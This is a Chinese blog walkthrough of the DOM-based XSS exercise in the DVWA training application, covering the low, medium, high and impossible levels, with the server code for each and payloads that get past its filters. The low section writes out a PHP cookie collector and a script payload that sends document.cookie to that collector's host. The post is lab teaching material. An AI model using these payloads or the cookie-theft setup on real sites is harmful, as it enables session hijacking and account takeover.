DVWA-XSS (DOM) DOM型跨站脚本攻击

XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie
DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行

LOW

审计源码

没有任何过滤
点击提交后可以看到default传参的内容为English

English改为<script>alert(document.cookie)</script>
成功弹出cookie,利用成功

反弹cookie

真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件
getcookie.php

<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>


然后使用javascript获取cookie值,并访问getcookie.phpgetcookie.php会将cookie值保存到cookie.txt
首先测试访问getcookie.php是否正常
http://192.168.1.131/getcookie.php?cookie=nihao

查看是否生成cookie.txt

正常执行
default传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>

执行后查看cookie.txt是否反弹成功
成功反弹

Meidum

审计源码


<?php

// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    // 获取 default 传参的值
    $default = $_GET['default'];
    
    // stripos 查找字符串首次出现的位置(不区分大小写)
    // 查找到返回 true ,查找不到返回 false
    // 判断不能查找到 <script ,并且不区分大小写
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>

并没有弹窗,使用检查查看default的值传到了哪里

通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>

闭合后依然没有弹窗,再次检查查看default值传入了哪里

还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签
default=</select><img src=1 onerror=alert(document.cookie)>

可以看到成功弹窗,检查查看是如何闭合的

Hihg

审计源码


<?php

// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # 判断获取的 default 传入的值,只能是一下四种
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        // 默认选择 English
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是

从这里可以看出,将lang的值写入到页面中

使用`#`,就可以绕过后端的检测,GET并不会获取到`#`号后面的内容,PHP认为`#`号后面注释的内容
测试`default=English #<script>alert(/xss/)</script>`
注意`English`后面时候空格的,如果不输入空格,会被当做default的值传入后端


当然&号也是可以的,&会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的

Impossible

审计源码

这里写到不做任何处理,在前段处理
查看前段代码

这里多了一个括号,这个括号就能阻止XSS了吗,我不相信
传入default=<script>alert(/xss/)</script>测试

可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符

posted @ 2022-06-01 15:43  Junglezt  阅读(1037)  评论(0编辑  收藏  举报